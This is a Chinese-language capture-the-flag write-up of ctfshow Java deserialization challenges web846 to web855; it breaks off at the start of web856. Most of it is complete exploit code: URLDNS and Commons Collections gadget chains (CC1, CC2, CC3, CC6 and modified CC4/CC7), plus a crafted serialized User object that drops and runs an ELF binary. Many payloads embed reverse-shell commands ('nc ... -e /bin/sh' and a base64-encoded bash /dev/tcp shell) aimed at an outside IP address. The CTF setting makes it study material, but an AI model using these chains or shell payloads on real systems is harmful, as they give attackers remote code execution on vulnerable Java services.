Ctfshow Java反序列化

在做题之前先说一件事,先打本地再打远程😎

web846

直接打urldns链即可,用的 jdk8u66

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example.cc;

import java.io.*;
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.net.InetAddress;
import java.util.HashMap;
import java.util.Base64;

public class web846 {
    public static void main(String[] args) throws Exception {
        //String testUrl = "https://pgdyxc8a.requestrepo.com/";
        String testUrl = "https://4a99d5da-d941-472d-bf4c-7c60c221bf96.challenge.ctf.show/";
        byte[] payload = generatePayload(testUrl);
        String base64 = Base64.getEncoder().encodeToString(payload);
        System.out.println("[+] Payload Base64: " + base64);
        System.out.println("[+] Payload 已生成: 字节数组");
        System.out.println("[*] 开始反序列化...");
        deserializePayload(payload);
    }

    private static byte[] generatePayload(String url) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, String> hashMap = new HashMap<>();
        URL u = new URL(null, url, handler);
        hashMap.put(u, url);
        java.lang.reflect.Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(u, -1);
        return serialize(hashMap);
    }

    private static void deserializePayload(byte[] bytes) throws Exception {
        Object obj = unserialize(bytes);
    }

    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

    private static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

img

web847

java7,使用了commons-collections 3.1,直接打 CC1,本地然后换成弹shell的死活不成功,于是不用 LazyMap,用 TransformedMap,但是又出现了依赖不同的报错

1
HTTP Status 500 - java.io.InvalidClassException: org.apache.commons.collections.map.TransformedMap; local class incompatible: stream classdesc serialVersionUID = 7023152445508377200, local class serialVersionUID = 7023152376788900464

索性直接用 ysoserial-all.jar 为依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web847 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec", new Class[]{String[].class},
//                        new Object[]{new String[]{"calc"}}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("value", "yyy");
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);


        byte[] data =serialize(handler);
        String base64 = Base64.getEncoder().encodeToString(data);
        System.out.println(base64);

        //Object o = unserialize(data);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
}

web848

不让使用 TransformedMap,直接打 CC6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example.cc;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web848{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(1)
        };

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
//                new InvokerTransformer("exec", new Class[]{String[].class},
//                        new Object[]{new String[]{"calc"}}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"}),
                new ConstantTransformer(1)
        };

        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "test2");
        Map expMap = new HashMap();
        expMap.put(tme, "test3");
        outerMap.remove("test2");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        byte[] data =serialize(expMap);
        String base64 = java.util.Base64.getEncoder().encodeToString(data);
        System.out.println(base64);

        Object o = unserialize(data);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}

web849

commons-collections 4.0 直接打 CC2,恶意类如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Eval extends AbstractTranslet {
    static {
        try {
            //Runtime.getRuntime().exec("calc");
            Runtime.getRuntime().exec("nc 154.36.152.109 4444 -e /bin/sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {}
}

poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example.cc;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;


public class web849 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2, comparator);

        queue.add(templates);
        queue.add(templates);

        Field iMethodNameField = InvokerTransformer.class.getDeclaredField("iMethodName");
        iMethodNameField.setAccessible(true);
        iMethodNameField.set(transformer, "newTransformer");

        byte[] data = serialize(queue);
        String base64 = java.util.Base64.getEncoder().encodeToString(data);
        System.out.println(base64);
        unserialize(data);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

有报错但是无所谓,因为我本地也有报错,成功getshell

web850

commons-collections 3.1,但是这个破玩意用 java7 就很傻逼,javassist 获得的Class字节码也有区别,我使用的 7u21,打的CC3,最终poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package org.example.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class web850 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fake = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] real = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] {Templates.class},
                        new Object[] {templates}
                )
        };

        Transformer chain = new ChainedTransformer(fake);
        Map inner = new HashMap();
        Map lazy = LazyMap.decorate(inner, chain);

        TiedMapEntry entry = new TiedMapEntry(lazy, "key");
        Map exp = new HashMap();
        exp.put(entry, "value");
        lazy.remove("key");

        setFieldValue(chain, "iTransformers", real);

        byte[] ser = serialize(exp);
        String base64 = toBase64(ser);
        System.out.println(base64);
        unserialize(ser);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(obj);
        return baos.toByteArray();
    }

    private static void unserialize(byte[] bytes) throws Exception {
        new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
    }
    public static String toBase64(byte[] data) {
        char[] CA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
        int len = data.length;
        StringBuilder sb = new StringBuilder(((len + 2) / 3) * 4);
        int i = 0;
        while (i < len) {
            int b0 = data[i++] & 0xFF;
            int b1 = i < len ? data[i++] & 0xFF : -1;
            int b2 = i < len ? data[i++] & 0xFF : -1;
            sb.append(CA[b0 >>> 2]);
            if (b1 != -1) {
                sb.append(CA[((b0 & 0x03) << 4) | (b1 >>> 4)]);
                if (b2 != -1) {
                    sb.append(CA[((b1 & 0x0F) << 2) | (b2 >>> 6)]);
                    sb.append(CA[b2 & 0x3F]);
                } else {
                    sb.append(CA[(b1 & 0x0F) << 2]);
                    sb.append('=');
                }
            } else {
                sb.append(CA[(b0 & 0x03) << 4]);
                sb.append('=');
                sb.append('=');
            }
        }
        return sb.toString();
    }
}

恶意类同样也需要修改 payload

1
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1NC4zNi4xNTIuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");

web851

commons-collections 4.0,打 CC4(因为前面没打过)发现不行,用原始 CC7 发现缺少部分类,所以需要修改一下,将 LazyMap 换成 DefaultedMap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class web851 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});

        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(new HashMap(), chain);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(new HashMap(), chain);
        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 2);

        setFieldValue(chain, "iTransformers", transformers);
        defaultedMap2.remove("yy");

        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.example.cc.Eval.class.getName()).toBytecode()});

        byte[] payload = serialize(hashtable);
        String base64 = java.util.Base64.getEncoder().encodeToString(payload);
        System.out.println(base64);
        deserialize(payload);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static void deserialize(byte[] payload) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

本地通了,但是好像不让用 TemplatesImpl,所以换成 Transformer 链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example.cc;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class web851 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec",
//                        new Class[]{String.class},
//                        new Object[]{"calc"})
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[] {"nc 154.36.152.109 4444 -e /bin/sh"}),

        };

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});

        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(new HashMap(), chain);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(new HashMap(), chain);
        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 2);

        setFieldValue(chain, "iTransformers", transformers);
        defaultedMap2.remove("yy");

        byte[] payload = serialize(hashtable);
        String base64 = java.util.Base64.getEncoder().encodeToString(payload);
        System.out.println(base64);
        deserialize(payload);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static void deserialize(byte[] payload) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

web852–web853

和 web851 一致

web854

给出了黑名单,

1
2
3
4
5
6
7
8
9
TransformedMap
PriorityQueue
InstantiateTransformer
TransformingComparator
TemplatesImpl
AnnotationInvocationHandler
HashSet
Hashtable
LazyMap

直接用 DefaultedMap 改一下 CC4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example.cc;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.BadAttributeValueExpException;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class web854 {
    public static void main(String[] args) throws Exception {
        Transformer[] inert = new Transformer[]{ new ConstantTransformer(1) };
        Transformer[] real = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec",
//                        new Class[]{String.class},
//                        new Object[]{"calc"})
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[] {"nc 154.36.152.109 4444 -e /bin/sh"}),
        };

        ChainedTransformer chain = new ChainedTransformer(inert);

        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap = declaredConstructor.newInstance(new HashMap(), chain);
        TiedMapEntry entry = new TiedMapEntry(defaultedMap, "foo");

        BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
        setFieldValue(bave, "val", entry);

        setFieldValue(chain, "iTransformers", real);

        byte[] data = serialize(bave);
        String base64 = java.util.Base64.getEncoder().encodeToString(data);
        System.out.println(base64);
        unserialize(data);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

web855

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
package com.ctfshow.entity;
 
import java.io.*;
 
public class User implements Serializable {
    private static final long serialVersionUID = 0x36d;
    private String username;
    private String password;
 
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
 
    public String getUsername() {
        return username;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public String getPassword() {
        return password;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
 
    private static final String OBJECTNAME="ctfshow";
    private static final String SECRET="123456";
 
    private static  String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;
 
 
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        int magic = in.readInt();
        if(magic==2135247942){
            byte var1 = in.readByte();
 
            switch (var1){
                case 1:{
                    int var2 = in.readInt();
                    if(var2==0x36d){
 
                        FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
                        fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
                        byte[] temp = new byte[1];
                        while((in.read(temp))!=-1){
                            fileOutputStream.write(temp);
                        }
 
                        fileOutputStream.close();
                        in.close();
 
                    }
                    break;
                }
                case 2:{
 
                    ObjectInputStream.GetField gf = in.readFields();
                    String username = (String) gf.get("username", null);
                    String password = (String) gf.get("password",null);
                    username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                            .replaceAll(" {2,}", " ");
                    password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                            .replaceAll(" {2,}", " ");
                    User var3 = new User(username,password);
                    User admin = new User(OBJECTNAME,SECRET);
                    if(var3 instanceof  User){
                        if(OBJECTNAME.equals(var3.getUsername())){
                            throw  new RuntimeException("object unserialize error");
                        }
                        if(SECRET.equals(var3.getPassword())){
                            throw  new RuntimeException("object unserialize error");
                        }
                        if(var3.equals(admin)){
                            Runtime.getRuntime().exec(shellCode);
                        }
                    }else{
                        throw  new RuntimeException("object unserialize error");
                    }
                    break;
                }
                default:{
                    throw  new RuntimeException("object unserialize error");
                }
            }
        }
 
    }
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return this.hashCode() == user.hashCode();
    }
 
    @Override
    public int hashCode() {
        return username.hashCode()+password.hashCode();
    }
 
 
}

就一个User类,身份验证为 admin 可直接命令执行,但是看了下 shellcode 并不可控,它是在给文件执行权限和执行文件,case1 可以写入文件,并且文件头固定为 elf,

1
2
3
4
5
6
#include<stdlib.h>
 int main() {
    system("nc 154.36.152.109 4444 -e /bin/sh"); 
    return 0;    
}
//gcc 1.c -o poc

然后删除前四个字节,然后再xxd -g 1 -l 8 poc去看字节变化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import os
p = 'poc'
with open(p,'rb') as f:
    data = f.read()
# 去掉前4字节
trim = data[4:]
with open(p,'wb') as f:
    f.write(trim)
    f.truncate(len(trim))
print('done, new size:', len(trim))
# 覆盖前 poc 前8字节:
# 00000000: 7f 45 4c 46 02 01 01 00                          .ELF....
# done, new size: 33420
# 覆盖后 poc 前8字节:
# 00000000: 02 01 01 00 00 00 00 00                          ........
# -rwxr-xr-x@ 1 admin  staff    33K Nov 11 11:49 poc

根据User#readObject重写 writeObject

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
private void writeObject(ObjectOutputStream outputStream) throws IOException {
    outputStream.writeInt(2135247942);
    outputStream.writeByte(1);
    outputStream.writeInt(0x36d);
    File filename = new File("poc");
    BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(filename));
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(1024);
    byte[] temp = new byte[1024];
    int size = 0;
    while((size = bufferedInputStream.read(temp))!=-1){
        byteArrayOutputStream.write(temp,0,size);
    }
    bufferedInputStream.close();
    byte[] bytes = byteArrayOutputStream.toByteArray();
    outputStream.write(bytes);
    outputStream.defaultWriteObject();
}

写入文件的poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class web855 {
    public static void main(String[] args) throws IOException {
        User user = new User("baozongwi", "123456");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] payloadBytes = byteArrayOutputStream.toByteArray();
        String payload = Base64.getEncoder().encodeToString(payloadBytes);
        System.out.println(payload);
    }
}

case2 需要 hash 比较相等,但是又不能是一样的明文,碰撞一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def hashcode(val):
    h=0
    for i in range(len(val)):
        h=31 * h + ord(val[i])
    return h 
t="ct"
# t="12"
for k in range(1,128):
    for l in range(1,128):
        if t!=(chr(k)+chr(l)):
            if(hashcode(t)==hashcode(chr(k)+chr(l))):
                print(t,chr(k)+chr(l))
# ct dU
# ct e6
# ct f
# 12 /p
# 12 0Q
# 12 2

重写下 writeObject

1
2
3
4
5
private void writeObject(ObjectOutputStream outputStream) throws IOException {
    outputStream.writeInt(2135247942);
    outputStream.writeByte(2);
    outputStream.defaultWriteObject();
}

触发 poc 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class web855 {
    public static void main(String[] args) throws IOException {
        User user = new User("dUfshow", "0Q3456");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] payloadBytes = byteArrayOutputStream.toByteArray();
        String payload = Base64.getEncoder().encodeToString(payloadBytes);
        System.out.println(payload);
    }
}

其中有个坑点就是需要用 linux 去编译,而不是 mac

web856

给出了源码

 1
 2
 3
 4
